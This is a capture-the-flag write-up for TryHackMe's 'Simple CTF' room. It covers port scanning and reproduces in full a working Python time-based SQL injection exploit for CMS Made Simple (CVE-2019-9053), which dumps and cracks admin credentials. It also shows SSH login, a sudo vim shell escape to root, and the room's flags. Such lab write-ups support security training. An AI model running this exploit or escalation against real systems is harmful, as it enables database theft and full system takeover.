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Simple CTF - TryHackMe

Writeup for the Simple CTF

Simple CTF - TryHackMe
[TryHackMe Simple CTF](https://tryhackme.com/room/easyctf)

Deploy the machine and attempt the questions!

Setup

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kali@kali:~$ sudo nmap -A -vv 10.10.229.200
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21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.9.2.228
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj5RwZ5K4QU12jUD81IxGPdEmWFigjRwFNM2pVBCiIPWiMb+R82pdw5dQPFY0JjjicSysFN3pl8ea2L8acocd/7zWke6ce50tpHaDs8OdBYLfpkh+OzAsDwVWSslgKQ7rbi/ck1FF1LIgY7UQdo5FWiTMap7vFnsT/WHL3HcG5Q+el4glnO4xfMMvbRar5WZd4N0ZmcwORyXrEKvulWTOBLcoMGui95Xy7XKCkvpS9RCpJgsuNZ/oau9cdRs0gDoDLTW4S7OI9Nl5obm433k+7YwFeoLnuZnCzegEhgq/bpMo+fXTb/4ILI5bJHJQItH2Ae26iMhJjlFsMqQw0FzLf
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM6Q8K/lDR5QuGRzgfrQSDPYBEBcJ+/2YolisuiGuNIF+1FPOweJy9esTtstZkG3LPhwRDggCp4BP+Gmc92I3eY=
|   256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2I73yryK/Q6UFyvBBMUJEfznlIdBXfnrEqQ3lWdymK

#1 How many services are running under port 1000?

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Discovered open port 21/tcp on 10.10.229.200
Discovered open port 80/tcp on 10.10.229.200
Discovered open port 2222/tcp on 10.10.229.200
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#2 What is running on the higher port?

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2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
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ssh

#3 What’s the CVE you’re using against the application?

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kali@kali:~$ gobuster dir -u 10.10.229.200 -w /usr/share/wordlists/rockyou.txt

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Disallow: /openemr-5_0_1_3

After some research I found an SQL injection for the CMS Made Simple

CMS Made Simple SQL Injection

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CVE-2019-9053

#4 To what kind of vulnerability is the application vulnerable?

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sqli   # (SQL Injection)

#5 What’s the password?

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#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()
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[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

#6 Where can you login with the details obtained?

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ssh # open ssh port 2222

#7 What’s the user flag?

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kali@kali:~$ ssh [email protected] -p 2222
[email protected] password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
G00d j0b, keep up!

#8 Is there any other user in the home directory? What’s its name?

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$ cd /home
$ ls
mitch  sunbath

#9 What can you leverage to spawn a privileged shell?

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$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

We can use vim to be root so let’s find something

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$ sudo vim -c ":!/bin/sh"

$ id
uid=0(root) gid=0(root) groups=0(root)

#10 What’s the root flag?

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$ cd /root/
$ ls
root.txt
$ cat root.txt
W3ll d0n3. You made it!
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